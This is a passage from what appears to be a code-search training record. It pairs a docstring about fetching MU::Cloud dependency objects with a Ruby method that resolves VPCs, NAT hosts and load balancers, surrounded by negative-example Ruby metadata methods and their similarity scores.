store.metadata_for_path(path).dup\n\n file_meta = store.metadata_for_file(source_file).dup\n result.deep_merge!(file_meta)\n\n local_meta = @local_metadata.dup\n result.deep_merge!(local_meta)\n\n result\n end", "def meta_data\n #object = instance_variable_get('@'+controller_name.singularize)\n object = instance_variable_get('@resource')\n meta = {}\n\n if object.kind_of? ActiveRecord::Base\n meta[:keywords] = object.meta_keywords if object[:meta_keywords].present?\n meta[:description] = object.meta_description if object[:meta_description].present?\n end\n\n #if meta[:description].blank? && object.kind_of?(Spree::Product)\n # meta[:description] = strip_tags(truncate(object.description, length: 160, separator: ' '))\n #end\n\n meta.reverse_merge!({\n keywords: current_store.meta_keywords,\n description: current_store.meta_description,\n }) if meta[:keywords].blank? or meta[:description].blank?\n meta\n end", "def metadata_files\n return @metadata_files unless @metadata_files.nil?\n @metadata_files = MetadataFile.all\n @existing_files, @new_files = [], []\n @metadata_files.each do |f|\n if f.cached?\n @existing_files << f\n else\n @new_files << f\n end\n end\n end", "def resources\n @resources ||=\n query_service.custom_queries.find_by_property(property: :source_metadata_identifier, value: [], lazy: true).select do |resource|\n id = resource.source_metadata_identifier.first\n next if /99.*3506421/.match?(id)\n next if transform_id(id).length > 18\n RemoteRecord.catalog?(id)\n end.to_a\n end", "def metadata\n stream.metadata\n end", "def metadata\n stream.metadata\n end", "def metadata(*args)\n opts = args.extract_options!\n args.each do |name|\n self.add_metadata(name, opts)\n end\n end", "def meta_data\n return nil unless success?\n\n @meta_data\n end", "def aws_get_metadata\n murl = 'http://169.254.169.254/latest/meta-data/'\n result = self.aws_get_url(murl)\n metadata = Hash.new()\n\n # TODO this isn't entirely right.. if the element ends in '/', it's actually another level of hash..\n result.split(\"\\n\").each do |element|\n metadata[element] = self.aws_get_url(sprintf('%s%s', murl, element))\n end\n\n metadata\n end", "def metadata\n @manifest_options[:metadata] || {}\n end", "def populate\n response = self.container.connection.cfreq(\"HEAD\",@storagehost,@storagepath)\n raise NoSuchObjectException, \"Object #{@name} does not exist\" if (response.code != \"204\")\n @bytes = response[\"content-length\"]\n @last_modified = Time.parse(response[\"last-modified\"])\n @etag = response[\"etag\"]\n @content_type = response[\"content-type\"]\n resphash = {}\n response.to_hash.select { |k,v| k.match(/^x-object-meta/) }.each { |x| resphash[x[0]] = x[1][0].to_s }\n @metadata = resphash\n true\n end", "def metadata\n return @metadata unless @metadata.nil?\n\n @metadata = Chef::Cookbook::Metadata.new\n\n metadata_filenames.each do |metadata_file|\n case metadata_file\n when /\\.rb$/\n apply_ruby_metadata(metadata_file)\n when uploaded_cookbook_version_file\n apply_json_cookbook_version_metadata(metadata_file)\n when /\\.json$/\n apply_json_metadata(metadata_file)\n else\n raise \"Invalid metadata file: #{metadata_file} for cookbook: #{cookbook_version}\"\n end\n end\n\n @metadata\n\n # Rescue errors so that users can upload cookbooks via `knife cookbook\n # upload` even if some cookbooks in their chef-repo have errors in\n # their metadata. We only rescue StandardError because you have to be\n # doing something *really* terrible to raise an exception that inherits\n # directly from Exception in your metadata.rb file.\n rescue StandardError => e\n @metadata_error = e\n @metadata\n end", "def read_metadata\n metadata = { :variable_set => read_variable_set }\n set_key_map metadata[:variable_set]\n\n metadata\n end", "def fetch_metadata\n uri = SCALEWAY_METADATA_URL.to_s\n response = http_client.get(uri)\n case response.code\n when \"200\"\n parser = FFI_Yajl::Parser.new\n parser.parse(response.body)\n when \"404\"\n logger.trace(\"Mixin ScalewayMetadata: Encountered 404 response retrieving Scaleway metadata: #{uri} ; continuing.\")\n {}\n else\n raise \"Mixin ScalewayMetadata: Encountered error retrieving Scaleway metadata (#{uri} returned #{response.code} response)\"\n end\n end", "def metadata\n return @metadata if @metadata\n return nil unless value\n #debug 'fragment get metadata from source'\n value.each do |source|\n begin\n if data = Puppet::FileServing::Metadata.indirection.find(source, :environment => resource.catalog.environment)\n @metadata = data\n @metadata.source = source\n break\n end\n rescue => detail\n fail detail, \"Could not retrieve file metadata for #{source}: #{detail}\"\n end\n end\n fail \"Could not retrieve information from environment #{resource.catalog.environment} source(s) #{value.join(\", \")}\" unless @metadata\n @metadata\n end", "def generate_metadata\n data = Hash.new\n data['id'] = self.id\n data['title'] = self.title\n data['author'] = self.author\n data['updated_at'] = self.updated_at\n return data\n end", "def metadata\n @metadata.clone.freeze\n end", "def metadata\n unless @metadata\n\n unless cached?\n begin\n Zip::ZipFile.open(@path) do |zip|\n zip.extract('iTunesMetadata.plist', Cache.path_to(plist))\n end\n rescue Zip::ZipError => e\n raise Invalid, e.message\n end\n end\n\n @metadata = CFPropertyList.native_types(CFPropertyList::List.new(:file => Cache.path_to(plist)).value)\n end\n\n @metadata\n end", "def metadata\n # TODO Move into {NRSER::Props::Metadata}?\n # \n unless NRSER::Props::Metadata.has_metadata? self\n instance_variable_set \\\n NRSER::Props::Metadata::VARIABLE_NAME,\n NRSER::Props::Metadata.new( self )\n end\n \n NRSER::Props::Metadata.metadata_for self\n end", "def metadata_get(id, api_version)\n path = \"/#{api_version}/meta-data/#{id}\"\n logger.trace(\"Mixin EC2: Fetching http://#{EC2_METADATA_ADDR}#{path}\")\n response = http_client.get(path, { 'X-aws-ec2-metadata-token': v2_token })\n case response.code\n when \"200\"\n response.body\n when \"404\"\n logger.trace(\"Mixin EC2: Encountered 404 response retrieving EC2 metadata path: #{path} ; continuing.\")\n nil\n else\n raise \"Mixin EC2: Encountered error retrieving EC2 metadata (#{path} returned #{response.code} response)\"\n end\n end", "def metadata_options\n data[:metadata_options]\n end", "def metadata_groups(&blk)\n if object.has_metadata?\n object._metadata.attributes.group_by{|(k,v)| k.to_s.split(\"_\").first.humanize}\n else\n {}\n end\n end", "def meta\n File.open(File.join(@load_dir, 'meta.json')) do |f|\n JSON.parse(f.read)\n end\n end", "def metadata\n @page.metadata\n end", "def metadata\n\t\tif @meta.nil?\n\t\t\t@meta = @store.metadata @metric_id\n\t\t\t@meta = @source.metaadd @meta\n\t\tend\n\t\treturn @meta\n\tend", "def find_metadata\n versions.each do |v|\n m = v.metadata\n if m.exist?\n return m\n end\n end\n nil\n end", "def get_file_metadatas(path: nil, environment:, recurse: :false, recurselimit: nil, max_files: nil, ignore: nil, links: :manage, checksum_type: Puppet[:digest_algorithm], source_permissions: :ignore)\n validate_path(path)\n\n headers = add_puppet_headers('Accept' => get_mime_types(Puppet::FileServing::Metadata).join(', '))\n\n response = @client.get(\n with_base_url(\"/file_metadatas#{path}\"),\n headers: headers,\n params: {\n recurse: recurse,\n recurselimit: recurselimit,\n max_files: max_files,\n ignore: ignore,\n links: links,\n checksum_type: checksum_type,\n source_permissions: source_permissions,\n environment: environment,\n }\n )\n\n process_response(response)\n\n [response, deserialize_multiple(response, Puppet::FileServing::Metadata)]\n end", "def resources\n @data.keys\n end", "def metadata(params)\n invalid_keys = params.keys - LOCATION_KEYS\n raise InvalidRequest.new \"Invalid keys: #{invalid_keys.join(\", \")}\" unless invalid_keys.empty?\n\n process_location! params\n\n request :metadata, params\n end", "def metadata\n case object.package_type\n when 'composer'\n object.composer_metadatum\n when 'conan'\n object.conan_metadatum\n when 'maven'\n object.maven_metadatum\n when 'nuget'\n object.nuget_metadatum\n when 'pypi'\n object.pypi_metadatum\n else\n nil\n end\n end" ]
[ "0.81967825", "0.7298892", "0.71711236", "0.69588125", "0.69500613", "0.69442254", "0.68584573", "0.68483347", "0.68483347", "0.68343735", "0.6819617", "0.6819617", "0.67309433", "0.6696641", "0.6684028", "0.6645099", "0.6645099", "0.6629881", "0.6618217", "0.66083354", "0.6585306", "0.6585306", "0.6561112", "0.6524471", "0.6453779", "0.6453021", "0.63873756", "0.63736427", "0.6330593", "0.63298416", "0.63248795", "0.6319743", "0.6261548", "0.62516916", "0.62015915", "0.6175964", "0.6162852", "0.6156924", "0.61553866", "0.6154396", "0.6147704", "0.6137675", "0.6116237", "0.60184646", "0.601325", "0.59973437", "0.59973437", "0.59973437", "0.59973437", "0.59973437", "0.59973437", "0.59973437", "0.59937173", "0.59779817", "0.5965976", "0.5951681", "0.59494305", "0.59492886", "0.5942513", "0.5918045", "0.5906643", "0.5905385", "0.5893362", "0.5892561", "0.58880043", "0.58815384", "0.5868307", "0.58667153", "0.58543205", "0.58444303", "0.5838714", "0.5832039", "0.5814677", "0.58125573", "0.5794196", "0.5789575", "0.5789575", "0.5789348", "0.5781718", "0.57705766", "0.5766452", "0.57607776", "0.5731194", "0.5728553", "0.5728485", "0.57242787", "0.5720571", "0.57113385", "0.57091975", "0.5673185", "0.56690395", "0.5664154", "0.5661467", "0.56521887", "0.564984", "0.56409526", "0.5638194", "0.56379366", "0.56269264", "0.5616072", "0.5608506" ]
0.0
-1
Fetch MU::Cloud objects for each of this object's dependencies, and return in an easilynavigable Hash. This can include things listed in
def dependencies(use_cache: false) @dependencies = {} if @dependencies.nil? @loadbalancers = [] if @loadbalancers.nil? if @config.nil? return [@dependencies, @vpc, @loadbalancers] end if use_cache and @dependencies.size > 0 return [@dependencies, @vpc, @loadbalancers] end @config['dependencies'] = [] if @config['dependencies'].nil? # First, general dependencies. These should all be fellow members of # the current deployment. @config['dependencies'].each { |dep| @dependencies[dep['type']] ||= {} next if @dependencies[dep['type']].has_key?(dep['name']) handle = @deploy.findLitterMate(type: dep['type'], name: dep['name']) if [email protected]? if !handle.nil? MU.log "Loaded dependency for #{self}: #{dep['name']} => #{handle}", MU::DEBUG @dependencies[dep['type']][dep['name']] = handle else # XXX yell under circumstances where we should expect to have # our stuff available already? end } # Special dependencies: my containing VPC if self.class.can_live_in_vpc and !@config['vpc'].nil? MU.log "Loading VPC for #{self}", MU::DEBUG, details: @config['vpc'] if !@config['vpc']["vpc_name"].nil? and @deploy sib_by_name = @deploy.findLitterMate(name: @config['vpc']['vpc_name'], type: "vpcs", return_all: true) if sib_by_name.is_a?(Array) if sib_by_name.size == 1 @vpc = matches.first else # XXX ok but this is the wrong place for this really the config parser needs to sort this out somehow # we got multiple matches, try to pick one by preferred subnet # behavior sib_by_name.each { |sibling| all_private = sibling.subnets.map { |s| s.private? }.all?(true) all_public = sibling.subnets.map { |s| s.private? }.all?(false) if all_private and ["private", "all_private"].include?(@config['vpc']['subnet_pref']) @vpc = sibling break elsif all_public and ["public", "all_public"].include?(@config['vpc']['subnet_pref']) @vpc = sibling break else MU.log "Got multiple matching VPCs for #{@mu_name}, so I'm arbitrarily choosing #{sibling.mu_name}" @vpc = sibling break end } end else @vpc = sib_by_name end end if !@vpc and !@config['vpc']["vpc_name"].nil? and @dependencies.has_key?("vpc") and @dependencies["vpc"].has_key?(@config['vpc']["vpc_name"]) @vpc = @dependencies["vpc"][@config['vpc']["vpc_name"]] elsif !@vpc tag_key, tag_value = @config['vpc']['tag'].split(/=/, 2) if !@config['vpc']['tag'].nil? if !@config['vpc'].has_key?("vpc_id") and !@config['vpc'].has_key?("deploy_id") and [email protected]? @config['vpc']["deploy_id"] = @deploy.deploy_id end vpcs = MU::MommaCat.findStray( @config['cloud'], "vpc", deploy_id: @config['vpc']["deploy_id"], cloud_id: @config['vpc']["vpc_id"], name: @config['vpc']["vpc_name"], tag_key: tag_key, tag_value: tag_value, region: @config['vpc']["region"], calling_deploy: @deploy, dummy_ok: true ) @vpc = vpcs.first if !vpcs.nil? and vpcs.size > 0 end if [email protected]? and ( @config['vpc'].has_key?("nat_host_id") or @config['vpc'].has_key?("nat_host_tag") or @config['vpc'].has_key?("nat_host_ip") or @config['vpc'].has_key?("nat_host_name") ) nat_tag_key, nat_tag_value = @config['vpc']['nat_host_tag'].split(/=/, 2) if !@config['vpc']['nat_host_tag'].nil? @nat = @vpc.findBastion( nat_name: @config['vpc']['nat_host_name'], nat_cloud_id: @config['vpc']['nat_host_id'], nat_tag_key: nat_tag_key, nat_tag_value: nat_tag_value, nat_ip: @config['vpc']['nat_host_ip'] ) if @nat.nil? if [email protected]_desc.nil? @nat = @vpc.findNat( nat_cloud_id: @config['vpc']['nat_host_id'], nat_filter_key: "vpc-id", region: @config['vpc']["region"], nat_filter_value: @vpc.cloud_id, credentials: @config['credentials'] ) else @nat = @vpc.findNat( nat_cloud_id: @config['vpc']['nat_host_id'], region: @config['vpc']["region"], credentials: @config['credentials'] ) end end end elsif self.class.cfg_name == "vpc" @vpc = self end # Special dependencies: LoadBalancers I've asked to attach to an # instance. if @config.has_key?("loadbalancers") @loadbalancers = [] if !@loadbalancers @config['loadbalancers'].each { |lb| MU.log "Loading LoadBalancer for #{self}", MU::DEBUG, details: lb if @dependencies.has_key?("loadbalancer") and @dependencies["loadbalancer"].has_key?(lb['concurrent_load_balancer']) @loadbalancers << @dependencies["loadbalancer"][lb['concurrent_load_balancer']] else if !lb.has_key?("existing_load_balancer") and !lb.has_key?("deploy_id") and [email protected]? lb["deploy_id"] = @deploy.deploy_id end lbs = MU::MommaCat.findStray( @config['cloud'], "loadbalancer", deploy_id: lb["deploy_id"], cloud_id: lb['existing_load_balancer'], name: lb['concurrent_load_balancer'], region: @config["region"], calling_deploy: @deploy, dummy_ok: true ) @loadbalancers << lbs.first if !lbs.nil? and lbs.size > 0 end } end return [@dependencies, @vpc, @loadbalancers] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dependencies\n members.each_with_object([]) do |attr_name, depends|\n value = send(attr_name)\n value = pipeline.objects.fetch(value) if value.is_a?(Symbol)\n depends << value.dependencies << value if value.is_a?(PipelineObject)\n end.flatten\n end", "def dependencies\n @dependencies.values\n end", "def dependencies\n @dependencies ||= {}\n end", "def list\n @artifacts ||= {}\n @artifacts.keys\n end", "def dependencies\n EMPTY_SET\n end", "def preload_dependencies\n deps = {}\n\n associations.merge(referenced_associations).each do |assoc_name, reference|\n association_data = self.viewmodel_class._association_data(assoc_name)\n\n preload_specs = build_preload_specs(association_data,\n to_sequence(assoc_name, reference))\n\n referenced_deps = merge_preload_specs(association_data, preload_specs)\n\n if association_data.through?\n referenced_deps = DeepPreloader::Spec.new(association_data.indirect_reflection.name.to_s => referenced_deps)\n end\n\n deps[association_data.direct_reflection.name.to_s] = referenced_deps\n end\n\n DeepPreloader::Spec.new(deps)\n end", "def compute_revdeps\n result = Hash.new { |h, k| h[k] = Set.new }\n each_autobuild_package do |pkg|\n pkg.dependencies.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n pkg.optional_dependencies.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n pkg.os_packages.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n end\n result\n end", "def objects\n # array to hold objects being backed up\n objects = []\n result = veeamconfig('job', 'info', '--name', \"#{@resource[:name]}\").lines\n\n # loop through every line of output\n result.each do |line|\n # the Include Disk lines are what we need\n if line.include? 'Include Disk:'\n # tease out the disk/volume being backed up\n object = line.split(': ')[1].strip\n # append the disk/volume to the array\n objects << object\n end\n end\n\n # return the disks/volumes being backed up, sorted properly\n return objects.sort_by(&:downcase)\n end", "def objects\n return @objects unless @objects.nil?\n objs = []\n dict = @instance.getDictionary\n (0 ... dict.getChildCount).each do |i|\n obj = dict.getChildAt(i)\n objs << {\n :name => obj.getName,\n :qual => obj.getQualification.toString.downcase.to_sym,\n :type => obj.getType.toString.downcase.to_sym,\n :object => obj,\n }\n end\n @objects = objs\n end", "def children\n child_objects(Dependency)\n end", "def dependencies\n @dependencies.collect { |name, dependency| dependency }\n end", "def prefetch reqs\n return unless @remote\n names = reqs.map { |r| r.dependency.name }\n needed = names - @data.keys\n\n return if needed.empty?\n\n uri = @dep_uri + \"?gems=#{needed.sort.join ','}\"\n str = Gem::RemoteFetcher.fetcher.fetch_path uri\n\n loaded = []\n\n Marshal.load(str).each do |ver|\n name = ver[:name]\n\n @data[name] << ver\n loaded << name\n end\n\n (needed - loaded).each do |missing|\n @data[missing] = []\n end\n end", "def dependencies(use_cache: false, debug: false)\n @dependencies ||= {}\n @loadbalancers ||= []\n @firewall_rules ||= []\n\n if @config.nil?\n return [@dependencies, @vpc, @loadbalancers]\n end\n if use_cache and @dependencies.size > 0\n return [@dependencies, @vpc, @loadbalancers]\n end\n @config['dependencies'] = [] if @config['dependencies'].nil?\n\n loglevel = debug ? MU::NOTICE : MU::DEBUG\n\n # First, general dependencies. These should all be fellow members of\n # the current deployment.\n @config['dependencies'].each { |dep|\n @dependencies[dep['type']] ||= {}\n next if @dependencies[dep['type']].has_key?(dep['name'])\n handle = @deploy.findLitterMate(type: dep['type'], name: dep['name']) if [email protected]?\n if !handle.nil?\n MU.log \"Loaded dependency for #{self}: #{dep['name']} => #{handle}\", loglevel\n @dependencies[dep['type']][dep['name']] = handle\n else\n # XXX yell under circumstances where we should expect to have\n # our stuff available already?\n end\n }\n\n # Special dependencies: my containing VPC\n if self.class.can_live_in_vpc and !@config['vpc'].nil?\n @vpc, @nat = myVpc(@config['vpc'], loglevel: loglevel, debug: debug)\n elsif self.class.cfg_name == \"vpc\"\n @vpc = self\n end\n\n # Special dependencies: LoadBalancers I've asked to attach to an\n # instance.\n if @config.has_key?(\"loadbalancers\")\n @loadbalancers = [] if !@loadbalancers\n @config['loadbalancers'].each { |lb|\n MU.log \"Loading LoadBalancer for #{self}\", MU::DEBUG, details: lb\n if @dependencies.has_key?(\"loadbalancer\") and\n @dependencies[\"loadbalancer\"].has_key?(lb['concurrent_load_balancer'])\n @loadbalancers << @dependencies[\"loadbalancer\"][lb['concurrent_load_balancer']]\n else\n if !lb.has_key?(\"existing_load_balancer\") and\n !lb.has_key?(\"deploy_id\") and [email protected]?\n lb[\"deploy_id\"] = @deploy.deploy_id\n end\n lbs = MU::MommaCat.findStray(\n @config['cloud'],\n \"loadbalancer\",\n deploy_id: lb[\"deploy_id\"],\n cloud_id: lb['existing_load_balancer'],\n name: lb['concurrent_load_balancer'],\n region: @config[\"region\"],\n calling_deploy: @deploy,\n dummy_ok: true\n )\n @loadbalancers << lbs.first if !lbs.nil? and lbs.size > 0\n end\n }\n end\n\n # Munge in external resources referenced by the existing_deploys\n # keyword\n if @config[\"existing_deploys\"] && !@config[\"existing_deploys\"].empty?\n @config[\"existing_deploys\"].each { |ext_deploy|\n if ext_deploy[\"cloud_id\"]\n found = MU::MommaCat.findStray(\n @config['cloud'],\n ext_deploy[\"cloud_type\"],\n cloud_id: ext_deploy[\"cloud_id\"],\n region: @config['region'],\n dummy_ok: false\n ).first\n \n MU.log \"Couldn't find existing resource #{ext_deploy[\"cloud_id\"]}, #{ext_deploy[\"cloud_type\"]}\", MU::ERR if found.nil?\n @deploy.notify(ext_deploy[\"cloud_type\"], found.config[\"name\"], found.deploydata, mu_name: found.mu_name, triggering_node: @mu_name)\n elsif ext_deploy[\"mu_name\"] && ext_deploy[\"deploy_id\"]\n MU.log \"#{self}: Importing metadata for #{ext_deploy[\"cloud_type\"]} #{ext_deploy[\"mu_name\"]} from #{ext_deploy[\"deploy_id\"]}\", MU::DEBUG\n found = MU::MommaCat.findStray(\n @config['cloud'],\n ext_deploy[\"cloud_type\"],\n deploy_id: ext_deploy[\"deploy_id\"],\n mu_name: ext_deploy[\"mu_name\"],\n region: @config['region'],\n dummy_ok: false\n ).first\n \n if found.nil?\n MU.log \"Couldn't find existing resource #{ext_deploy[\"mu_name\"]}/#{ext_deploy[\"deploy_id\"]}, #{ext_deploy[\"cloud_type\"]}\", MU::ERR\n else\n @deploy.notify(ext_deploy[\"cloud_type\"], found.config[\"name\"], found.deploydata, mu_name: ext_deploy[\"mu_name\"], triggering_node: @mu_name, no_write: true)\n end\n else\n MU.log \"Trying to find existing deploy, but either the cloud_id is not valid or no mu_name and deploy_id where provided\", MU::ERR\n end\n }\n end\n\n if @config['dns_records'] && !@config['dns_records'].empty?\n @config['dns_records'].each { |dnsrec|\n if dnsrec.has_key?(\"name\")\n if dnsrec['name'].start_with?(@deploy.deploy_id.downcase) && !dnsrec['name'].start_with?(@mu_name.downcase)\n MU.log \"DNS records for #{@mu_name} seem to be wrong, deleting from current config\", MU::WARN, details: dnsrec\n dnsrec.delete('name')\n dnsrec.delete('target')\n end\n end\n }\n end\n\n return [@dependencies, @vpc, @loadbalancers]\n end", "def to_hash\n {\n dependencies: @dependencies\n }\n end", "def get_dep_names(data)\n return unless data.key?(\"dependencies\")\n\n data['dependencies'].each do |name, dep_info|\n @deps[name] = {}\n get_dep_names(dep_info) if dep_info['dependencies']\n end\n end", "def computeDependences(list)\n dependences = OCMSet.new\n\n OCMSet::SECTIONS.each do |section|\n @require[section].each do |req|\n found = false\n\n list.each do |iface|\n for context in iface.provide do\n if context[section].include?(req) then\n dependences[section] << iface\n found = true\n break\n end\n end\n end\n\n raise \"#{@id.name}: no dependence found for #{req.name}.\" unless found\n end\n end\n\n return dependences.values.flatten.uniq\n end", "def dependencies(ctx)\n @i_name ||= ctx.lookup(name).i_name\n s = Set.new\n s << i_name\n s\n end", "def prefetch(reqs)\n return unless @remote\n names = reqs.map {|r| r.dependency.name }\n needed = names - @data.keys - @to_fetch\n\n @to_fetch += needed\n end", "def objects\n @objects ||= begin\n raw_objects = @data['objects'] || []\n raw_objects.map do |object|\n if object.is_a?(Hash)\n # TODO: assumes it has the right keys.\n object\n else\n {\n item: object,\n description: nil\n }\n end\n end\n end\n end", "def cloud_resources\n @cloud_resources ||= ::CloudResources.new\n return @cloud_resources\n end", "def referenced_by\n values = super\n values = Deepblue::MetadataHelper.ordered( ordered_values: referenced_by_ordered, values: values )\n return values\n end", "def dependency_ids\n ids = {}\n\n @dependencies.each do |type, jobs|\n ids[type] = jobs.map(&:pbsid).compact\n end\n\n ids.keep_if { |k,v| ! v.empty? }\n end", "def load_scraped_objects\n {}.tap do |objects|\n @store.read_multi(@store.entries).each do |properties|\n object = load_scraped_object(properties)\n objects[object._id] = object\n end\n end\n end", "def all_objects\n objects = []\n each_namespace{|n| objects << n}\n each_namespace{|n| \n n.each_relvar{|r| objects << r}\n }\n each_namespace{|n| \n n.each_relvar{|r| r.each_candidate_key{|k| objects << k}}\n }\n each_namespace{|n| \n n.each_relvar{|r| r.each_foreign_key{|k| objects << k}}\n }\n objects\n end", "def dependencies\n @dependencies ||= []\n end", "def dependencies\n @dependencies ||= []\n end", "def dependencies\n @dependencies ||= []\n end", "def dependencies\n @dependencies ||= []\n end", "def request_dependencies \n # If we haven't persisted, then the page_ref has no connection back\n page_ref.recipes << self unless persisted? || page_ref.recipes.to_a.find { |r| r == self }\n page_ref.request_attributes *(needed_attributes & [ :picurl, :title, :description ]) # Those to be got from PageRef\n end", "def call\n result = {}\n\n # loop on local remotes\n @local_campaigns.each do |local_campaign|\n discrepancies = []\n\n # find remote campaign using external reference\n remote_campaign = remote_campaign_by_local_reference(local_campaign.external_reference)\n\n if remote_campaign\n DISCREPANCY_ATTRIBUTES.each do |local_attr, remote_attr|\n if local_campaign[local_attr] != remote_campaign[remote_attr]\n discrepancies << discrepancy_hash(remote_attr, remote_campaign[remote_attr], local_campaign[local_attr])\n end\n end\n else\n @missing_remote_campaigns << new_campaign_hash(local_campaign)\n end\n\n unless discrepancies.empty?\n @changed_campaigns << changed_campaign_hash(local_campaign.external_reference, discrepancies)\n end\n end\n\n result[:changed_campaigns] = @changed_campaigns unless @changed_campaigns.empty?\n result[:missing_remote_campaigns] = @missing_remote_campaigns unless @missing_remote_campaigns.empty?\n\n result\n end", "def prefetch reqs\n names = reqs.map { |r| r.dependency.name }\n needed = names.find_all { |d| [email protected]?(d) }\n\n return if needed.empty?\n\n uri = @dep_uri + \"?gems=#{needed.sort.join ','}\"\n str = Gem::RemoteFetcher.fetcher.fetch_path uri\n\n Marshal.load(str).each do |ver|\n @data[ver[:name]] << ver\n end\n end", "def dependencies(&block)\n deps = ::OSGi::Dependencies.new(project)\n deps.read\n deps.dependencies + deps.projects\n end", "def objects\n @static_libraries.map { |l| l.path }\n end", "def check_dependencies\n ok = true\n\n @config.each_pair { |type, values|\n next if !values.instance_of?(Array)\n _shortclass, cfg_name, _cfg_plural, _classname = MU::Cloud.getResourceNames(type, false)\n next if !cfg_name\n values.each { |resource|\n next if !resource.kind_of?(Hash) or resource[\"dependencies\"].nil?\n addme = []\n deleteme = []\n\n resource[\"dependencies\"].each { |dependency|\n dependency[\"their_phase\"] ||= dependency[\"phase\"]\n dependency.delete(\"phase\")\n dependency[\"my_phase\"] ||= dependency[\"no_create_wait\"] ? \"groom\" : \"create\"\n dependency.delete(\"no_create_wait\")\n # make sure the thing we depend on really exists\n sibling = haveLitterMate?(dependency['name'], dependency['type'])\n if !sibling\n MU.log \"Missing dependency: #{type}{#{resource['name']}} needs #{cfg_name}{#{dependency['name']}}\", MU::ERR\n ok = false\n next\n end\n\n # Fudge dependency declarations to quash virtual_names that we know\n # are extraneous. Note that wee can't do all virtual names here; we\n # have no way to guess which of a collection of resources is the\n # real correct one.\n if sibling['virtual_name'] == dependency['name']\n real_resources = []\n found_exact = false\n resource[\"dependencies\"].each { |dep_again|\n if dep_again['type'] == dependency['type'] and sibling['name'] == dep_again['name']\n dependency['name'] = sibling['name']\n found_exact = true\n break\n end\n }\n if !found_exact\n all_siblings = haveLitterMate?(dependency['name'], dependency['type'], has_multiple: true)\n if all_siblings.size > 0\n all_siblings.each { |s|\n newguy = dependency.clone\n newguy['name'] = s['name']\n addme << newguy\n }\n deleteme << dependency\n MU.log \"Expanding dependency which maps to virtual resources to all matching real resources\", MU::NOTICE, details: { sibling['virtual_name'] => addme }\n next\n end\n end\n end\n\n if dependency['their_phase'] == \"groom\"\n sibling['dependencies'].each { |sib_dep|\n next if sib_dep['type'] != cfg_name or sib_dep['their_phase'] != \"groom\"\n cousin = haveLitterMate?(sib_dep['name'], sib_dep['type'])\n if cousin and cousin['name'] == resource['name']\n MU.log \"Circular dependency between #{type} #{resource['name']} <=> #{dependency['type']} #{dependency['name']}\", MU::ERR, details: [ resource['name'] => dependency, sibling['name'] => sib_dep ]\n ok = false\n end\n }\n end\n\n # Check for a circular relationship that will lead to a deadlock\n # when creating resource. This only goes one layer deep, and does\n # not consider groom-phase deadlocks.\n if dependency['their_phase'] == \"groom\" or\n dependency['my_phase'] == \"groom\" or (\n !MU::Cloud.resourceClass(sibling['cloud'], type).deps_wait_on_my_creation and\n !MU::Cloud.resourceClass(resource['cloud'], type).waits_on_parent_completion\n )\n next\n end\n\n if sibling['dependencies']\n sibling['dependencies'].each { |sib_dep|\n next if sib_dep['type'] != cfg_name or sib_dep['my_phase'] == \"groom\"\n cousin = haveLitterMate?(sib_dep['name'], sib_dep['type'])\n if cousin and cousin['name'] == resource['name']\n MU.log \"Circular dependency between #{type} #{resource['name']} <=> #{dependency['type']} #{dependency['name']}\", MU::ERR, details: [ resource['name'] => dependency, sibling['name'] => sib_dep ]\n ok = false\n end\n }\n end\n }\n resource[\"dependencies\"].reject! { |dep| deleteme.include?(dep) }\n resource[\"dependencies\"].concat(addme)\n resource[\"dependencies\"].uniq!\n\n }\n }\n\n ok\n end", "def referenced_objects\n return @referenced_objects\n end", "def dependencies\n []\n end", "def dependencies\n []\n end", "def dependencies(include_parent = false)\n []\n end", "def dependencies(include_parent = false)\n []\n end", "def dependencies(include_parent = false)\n []\n end", "def cloud_obj_requires(sCloudObj, res = {})\n aCaller = caller\n aCaller.pop\n\n return res if @ObjectData.exist?(sCloudObj)\n #~ return res if rhExist?(@CloudData, sCloudObj) == 1\n\n rhGet(@@meta_obj,sCloudObj, :params).each { |key, hParams|\n case hParams[:type]\n when :data\n if hParams.key?(:array)\n hParams[:array].each{ | aElem |\n aElem = aElem.clone\n aElem.pop # Do not go until last level, as used to loop next.\n rhGet(hParams, aElem).each { | subkey, hSubParam |\n next if aElem.length == 0 and [:array, :type].include?(subkey)\n if hSubParams[:required] and @oForjConfig.get(subkey).nil?\n res[subkey] = hSubParams\n end\n }\n }\n else\n if hParams[:required] and @oForjConfig.get(key).nil?\n res[key] = hParams\n end\n end\n when :CloudObject\n #~ if hParams[:required] and rhExist?(@CloudData, sCloudObj) != 1\n if hParams[:required] and not @ObjectData.exist?(sCloudObj)\n res[key] = hParams\n cloud_obj_requires(key, res)\n end\n end\n }\n res\n end", "def cross_pipeline\n strong_memoize(:cross_pipeline) do\n fetch_dependencies_in_hierarchy\n end\n end", "def dependencies\n @dependencies\n end", "def services\n @documents.services.values.inject({}) { |memo, service| memo.merge service.to_hash }\n end", "def dependencies\n @dependencies ||= []\n end", "def fetch_external\n object.controlled_properties.each do |property|\n object[property].each do |value|\n resource = value.respond_to?(:resource) ? value.resource : value\n next unless resource.is_a?(ActiveTriples::Resource)\n next if value.is_a?(ActiveFedora::Base)\n fetch_with_persistence(resource)\n end\n end\n end", "def getObjects\n readObjects\n\n return @Objects\n end", "def data_objects\n self.locations.map{|loc| loc.data_objects}.flatten.uniq.compact\n end", "def dependents(options: {})\n\n Collection.new(parse(client.get(\"/tasks/#{gid}/dependents\", options: options)), type: self.class, client: client)\n end", "def dependencies_for(model)\n dependencies = Set.new\n # Each association is a dependency\n model.reflect_on_all_associations.each do |ass|\n relation_name = ass.name.to_s\n class_name = ass.options[:class_name] || relation_name.singularize.camelize\n\n dependencies.add? class_name\n end\n dependencies\n end", "def items\n @items = []\n @data.each do |object_data|\n if object_data[\"type\"]\n @items << \"Skydrive::#{object_data[\"type\"].capitalize}\".constantize.new(client, object_data)\n elsif object_data[\"id\"].match /^comment\\..+/\n @items << Skydrive::Comment.new(client, object_data)\n end\n end\n @items\n end", "def dependents_for(job)\n if !@dependencies[job] or @dependencies[job].empty?\n []\n else\n recursive_dependencies = @dependencies[job].map{ |klass| dependents_for(klass) }\n (@dependencies[job] + recursive_dependencies).flatten.uniq\n end\n end", "def dependencies( names )\n names.each do |name|\n if calculation = fetch( name, nil )\n calculation.dependencies.each do |dependency|\n names << dependency unless names.include?( dependency )\n end\n end\n end\n end", "def all\n load_all! unless @objs_list\n 